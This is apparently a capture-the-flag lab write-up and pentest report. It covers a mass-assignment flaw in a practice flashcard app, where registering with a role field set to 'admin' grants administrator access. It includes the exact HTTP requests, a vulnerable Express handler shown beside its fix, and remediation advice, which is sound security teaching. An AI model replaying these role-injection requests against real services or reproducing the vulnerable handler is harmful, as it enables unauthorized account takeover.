Tanuki: Mass Assignment via Registration Role Field
Part 1: Pentest Report
Executive Summary
Tanuki is a React SPA flashcard / spaced repetition application backed by an Express API and JWT-based session auth. The lab requires retrieving a flag exposed at an admin-gated endpoint. Testing confirmed that anonymous registration accepts a client-supplied role field, allowing any unauthenticated visitor to provision an administrator account in a single request and immediately retrieve the flag.
Testing confirmed 1 finding:
| ID | Title | Severity | CVSS | CWE | Endpoint |
|---|---|---|---|---|---|
| F1 | Mass assignment on registration grants arbitrary role | Critical | 9.8 | CWE-915, CWE-285 | POST /api/register |
The flag-bearing finding is a textbook mass-assignment defect with no preconditions: no existing account, no privileged network position, no special headers. One HTTP request creates an admin user, one more retrieves the flag.
Objective
Retrieve the flag from GET /api/admin/flag, an endpoint reachable only to users with role:"admin". Starting position is unauthenticated.
Scope / Initial Access
# Target Application
URL: https://lab-1777422113943-qx6yuk.labs-app.bugforge.io/
# Auth details
Self-registration is open at POST /api/register (no auth required).
Login at POST /api/login returns {token, user}.
Tokens are JWT HS256 with payload {id, username, iat}; no role claim in the token.
Authorization middleware reads role from the database on each request via /api/verify-token.
The starting account in this engagement was id=4 (haxor), role:"user", created via the standard registration flow with no role override.
Reconnaissance: Reading the React Bundle
The application ships a single bundled JavaScript file (main.22728e1f.js, ~500 KB). Three observations from that bundle shaped the test plan:
- The register form’s
useStateinitial state hardcodesrole:"user"alongside the user-facing fields (username,email,password,full_name). - The submit handler posts the entire form state object to
/api/register(Ro.post("/api/register", e)withebeing the full form state, not a hand-built payload). - The decoded JWT contains
{id, username, iat}only. The bundled API client calls/api/verify-tokenafter login and trusts the returnedrolefor all client-side admin gating, which means the server holds the role and reads it back from persistent storage, not from the token claims.
Observation 1 is the load bearing one: a security relevant field is present in the form state but never rendered as a control, so it ships on every registration request as if it were a constant. The test plan was to send role:"admin" in the body of POST /api/register and check whether the server persisted the supplied value.
Application Architecture
| Component | Detail |
|---|---|
| Backend | Express (X-Powered-By: Express) |
| Frontend | React SPA, single bundle main.22728e1f.js |
| Auth | JWT HS256, Authorization: Bearer <token>, payload {id, username, iat} |
| Authorization | Server-side role lookup via /api/verify-token (token does not carry role) |
API Surface
| Endpoint | Method | Auth | Notes |
|---|---|---|---|
/api/register |
POST | none | Body accepts username, email, password, full_name, role |
/api/login |
POST | none | Returns {token, user} |
/api/verify-token |
GET | JWT | Returns the user object including role |
/api/admin/flag |
GET | admin | Returns {flag: "..."} |
/api/admin/users |
GET/POST/PUT/DELETE | admin | Full CRUD on user records |
/api/admin/decks |
GET/POST/PUT/DELETE | admin | Full CRUD on decks |
/api/admin/cards |
GET/POST/PUT/DELETE | admin | Full CRUD on cards |
/api/decks |
GET | JWT | User-visible decks |
/api/study/:deckId/cards |
GET | JWT | Numeric path param |
/api/study/sessions |
GET | JWT | User-scoped session history |
/api/stats |
GET | JWT | User-scoped stats |
Attack Chain Visualization
┌──────────────────────┐ ┌──────────────────────┐ ┌──────────────────────┐
│ Read register form │ │ POST /api/register │ │ GET /api/admin/flag │
│ in JS bundle: form │ ─▶ │ body adds │ ─▶ │ with new admin JWT │
│ state hardcodes │ │ role:"admin" │ │ │
│ role:"user" and │ │ → 200, user.role = │ │ → 200, body │
│ posts whole object │ │ "admin", JWT issued │ │ contains the flag │
└──────────────────────┘ └──────────────────────┘ └──────────────────────┘
Findings
F1: Mass assignment on registration grants arbitrary role
Severity: Critical
CVSS v3.1: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWE: CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes), CWE-285 (Improper Authorization)
Endpoint: POST /api/register
Authentication required: No
Description
The registration endpoint accepts a role field in the JSON request body and persists it to the new user record without server-side validation, default override, or field whitelisting. The frontend form stores role:"user" in its initial state and posts the entire state object, but the field is fully client-controlled. Sending role:"admin" produces an administrator account on the first request.
The JWT issued at registration carries only {id, username, iat}. Authorization on admin endpoints relies on the server reading the role from the database via /api/verify-token. Because the role written at registration came from the request body, every later authorization check on admin-only endpoints succeeds for the new account.
Impact
Any unauthenticated visitor can self-promote to administrator and read or modify all admin-scoped data, including the flag.
Reproduction
Step 1: Register with role:"admin" in the body
POST /api/register HTTP/1.1
Host: lab-1777422113943-qx6yuk.labs-app.bugforge.io
Content-Type: application/json
{"username":"haxor2","email":"haxor2@test.com","password":"password","full_name":"","role":"admin"}
HTTP/1.1 200 OK
Content-Type: application/json
{"token":"eyJ...QHAg4Nirsc","user":{"id":5,"username":"haxor2","email":"haxor2@test.com","role":"admin"}}
The response shows the server accepted and persisted role:"admin". The returned JWT is for user id=5.
Step 2: Retrieve the flag using the new admin JWT
GET /api/admin/flag HTTP/1.1
Host: lab-1777422113943-qx6yuk.labs-app.bugforge.io
Authorization: Bearer eyJ...QHAg4Nirsc
HTTP/1.1 200 OK
Content-Type: application/json
{"flag":"bug{z4TxjPGK3KqcA33WcIsC0eW1EHla4njZ}"}
The admin-gated endpoint returns the flag directly in the response body.
Remediation
Fix 1: Whitelist accepted fields server-side and assign role from a server controlled default
// BEFORE (Vulnerable: spreads request body into the user record)
app.post('/api/register', async (req, res) => {
const user = await db.users.create({ ...req.body });
return res.json({ token: signToken(user), user });
});
// AFTER (Secure: explicit field list, role fixed server-side)
app.post('/api/register', async (req, res) => {
const { username, email, password, full_name } = req.body;
if (!username || !email || !password) {
return res.status(400).json({ error: 'missing required fields' });
}
const user = await db.users.create({
username,
email,
password: await hash(password),
full_name: full_name ?? '',
role: 'user',
});
return res.json({ token: signToken(user), user: serialize(user) });
});
Additional recommendations:
- Apply the same explicit field whitelist pattern to every endpoint that accepts user supplied JSON and writes to a model: profile updates, account settings, any future create / update routes. Object spread persistence is the root pattern; remove it everywhere.
- Add an integration test that asserts
register({role:"admin"})produces a user withrole:"user". The same test should cover any other privileged field (for example a futuretier,permissions,is_staff). - Consider adding role change endpoints that are themselves admin gated and audit logged, so the only path to elevated roles is via an existing administrator.
- The JWT could optionally carry
roleas a signed claim to remove the per request/api/verify-tokenround trip, but this is a separate concern. It does not fix the registration defect.
OWASP Top 10 Coverage
- A04:2021 Insecure Design: Trusting a request body field for authorization role assignment is the design flaw. The server must own the role decision; the client must not be able to influence it.
- A01:2021 Broken Access Control: Privilege escalation from anonymous to administrator via a single registration request.
Tools Used
| Tool | Purpose |
|---|---|
Caido (edit mode) |
Replay register and flag retrieval requests with auth preserved |
| Browser DevTools | Read the bundled JavaScript and inspect the register form’s state shape |
curl |
Reproduction commands for the writeup |
References
- CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
- CWE-285: Improper Authorization
- OWASP Top 10 A04:2021 Insecure Design
- OWASP Top 10 A01:2021 Broken Access Control
- OWASP API Security Top 10 API6:2023 Unrestricted Access to Sensitive Business Flows
Part 2: Notes / Knowledge
Key Learnings
- Hardcoded role / permission / tier values in a form’s
useStateinitial state are a high confidence mass-assignment tell. In Tanuki the register form storedrole:"user"next to the user-facing fields and posted the entire state object. The field rode on every request body but was invisible from the rendered UI. Probe the elevated value (role:"admin",tier:"premium",is_admin:true) before any other vector when this shape shows up in the bundle.
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
| (none) | The primary hypothesis succeeded on the first probe; no other vectors were exercised. | n/a |
Tags: #mass-assignment #broken-access-control #bugforge #webapp #jwt
Document Version: 1.0
Last Updated: 2026-04-29